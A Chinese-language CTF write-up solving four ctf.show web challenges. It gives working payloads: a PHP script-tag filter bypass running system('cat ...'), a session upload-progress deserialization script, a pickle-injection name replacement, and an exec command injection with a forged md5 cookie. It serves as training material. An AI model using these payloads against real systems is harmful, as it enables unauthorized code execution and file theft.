easy_eval
过滤了 ? ,那我们换个标签格式。
code=<script language="php"> system('cat /f1agaaa'); </script>
剪刀石头布
通过提示和源码中的 ini_set 和session_start,可以基本确认session 反序列化,且cleanup关了,也就不要条件竞争了。
想详细了解的移步:https://blog.csdn.net/shinygod/article/details/124167117
ini_set('session.serialize_handler', 'php');
session_start();
看 Game 类,可以直接文件读取 flag.php。
getflag
echo file_get_contents($this->log);
payload:
import requests
url = 'http://d41097cd-f0aa-47e1-b486-4bd8ec57324a.challenge.ctf.show/'
sessid = {
'PHPSESSID':'succ3'
}
data = {
'PHP_SESSION_UPLOAD_PROGRESS':'|O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}'
}
file = {
'file':'1'
}
req = requests.post(url=url,files=file,data=data,cookies=sessid)
print(req.text)
baby_pickle
详解文章
从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 python安全之Pickle反序列化漏洞学习
分析
/ 路由下,把 Rookie 类序列化后的值存入以 name 参数作为文件名的文件里。 /change 路由下,打开 name 文件,然后把 name 和 newname 值替换一下,那么这边不就有操作空间了吗。 dacaiji 路由下,打开 name 文件,反序列化后判断 id 是否为 0,是的话回显 flag。
import base64
import pickle, pickletools
import uuid
from flask import Flask, request
app = Flask(__name__)
id = 0
flag = "ctfshow{" + str(uuid.uuid4()) + "}"
class Rookie():
def __init__(self, name, id):
self.name = name
self.id = id
@app.route("/")
def agent_show():
global id
id = id + 1
if request.args.get("name"):
name = request.args.get("name")
else:
name = "new_rookie"
new_rookie = Rookie(name, id)
try:
file = open(str(name) + "_info", 'wb')
info = pickle.dumps(new_rookie, protocol=0)
info = pickletools.optimize(info)
file.write(info)
file.close()
except Exception as e:
return "error"
with open(str(name)+"_info", "rb") as file:
user = pickle.load(file)
message = "<h1>欢迎来到新手村" + user.name + "</h1>\n<p>" + "只有成为大菜鸡才能得到flag" + "</p>"
return message
@app.route("/dacaiji")
def get_flag():
name = request.args.get("name")
with open(str(name)+"_info", "rb") as f:
user = pickle.load(f)
if user.id != 0:
message = "<h1>你不是大菜鸡</h1>"
return message
else:
message = "<h1>恭喜你成为大菜鸡</h1>\n<p>" + flag + "</p>"
return message
@app.route("/change")
def change_name():
name = base64.b64decode(request.args.get("name"))
newname = base64.b64decode(request.args.get("newname"))
file = open(name.decode() + "_info", "rb")
info = file.read()
print("old_info ====================")
print(info)
print("name ====================")
print(name)
print("newname ====================")
print(newname)
info = info.replace(name, newname)
print(info)
file.close()
with open(name.decode()+ "_info", "wb") as f:
f.write(info)
return "success"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
其实只要在本地搭一下,就一目了然了,只要把像php的反序列化逃逸一样,把name 后面的id 值改一下,再传入就可以了,记得要编码。
payload
/?name=succ
/change?name=c3VjYw==&newname=c3VjYwpzVmlkCkkwCnNiLg==
/dacaiji?name=succ
repairman
可以利用的点就一个:exec
条件很明确,mode 要等于0,$secret 等于 md5('admin'.$config['secret']) ,cmd 执行的命令。
$secret =& $_COOKIE['secret'];
......
function cmd($cmd){
global $secret;
echo 'Sucess change the ini!The logs record you!';
exec($cmd);
....
}
......
if($mode == '0'){
......
switch ($secret){
case md5('admin'.$config['secret']):
echo 999;
cmd($_POST['cmd']);
.....
}
md5('admin'.$config['secret']) 为:
<?php
$config['secret'] = Array();
$secret = md5('admin'.$config['secret']);
echo $secret;
payload:
index.php?mode=0
post: cmd=cat config.php >1.txt
cookie: secret=da53eb34c1bc6ce7bbfcedf200148106;
最后访问 1.txt 就可以了。
也可以变量替换 parse_str($url['query']);
index.php?mode=0&config[secret]=succ3
post:cmd=cat config.php >2.txt
cookie:secret=5a0953199aa20efff44ef8307f513a12;
|